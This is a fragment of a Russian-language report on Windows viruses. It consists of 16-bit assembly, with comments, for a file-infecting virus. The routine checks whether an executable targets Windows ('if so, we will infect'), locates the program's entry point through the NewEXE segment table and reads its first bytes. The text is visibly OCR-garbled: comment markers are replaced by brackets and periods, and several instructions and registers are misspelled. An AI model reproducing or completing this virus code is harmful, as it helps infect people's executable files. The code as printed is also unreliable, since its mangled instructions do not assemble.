Доклад: Вирусы под Windows
[Проверим, для Windows ли предназначен этот файл. Если да, будем
;заражать, иначе переходим к следующему файлу
mov al,[new_hdr+36h]
and al,2
jz close_exe
.Переместим указатель чтения/записи в таблицу сегментов,
;к элементу, обозначающему сегмент точки старта программы.
[Для этого прочтем значение регистра CS при запуске
[этого ЕХЕ-файла
mov dx.WORD PTR [new_hdr+16h]
;По номеру сегмента вычислим положение соответствующего ему
[элемента в таблице сегментов
dec dx
shi dx,3
;K результату прибавим смещение таблицы сегментов и смещение
.заголовка NewEXE
add dx,WORD PTR [new_hdr+22h]
add dx.WORO PTR [old_hdr+3ch]
mov cx.WORD PTR [old_hdr+3eh]
[Переместим указатель чтения/записи
mov ax,4200h
int 21 h
[Прочтем из таблицы сегментов смещение логического сектора
mov dx,OFFSET temp
mov ex, 2
mov ah,3Fh
int 21 h
.Вычислим смещение сегмента, опираясь на значения
.смещения логического сектора и множителя секторов
mov dx.WORD PTR [temp]
mov cx.WORD PTR [new_hdr+32h]
xor ax.ax
cal_entry:
shi dx,1
rcl ax,1
loop cal_entry
.Переместим 16 старших бит 32-битного результата в регистр СХ
mov cx,ax
;Прибавим к результату смещение стартового адреса (IP)
add dx,WORD PTR [new_hdr+14h]
adc cx.O
;Переместим указатель позиции чтения/записи на точку старта
.программы - результат вычисления
mov ax,4200h
int 21 h
;Считаем первые 10 байт после старта программы
mov dx, OFFSET temp
mov cx,10h
mov ah,3Fh
int 21 h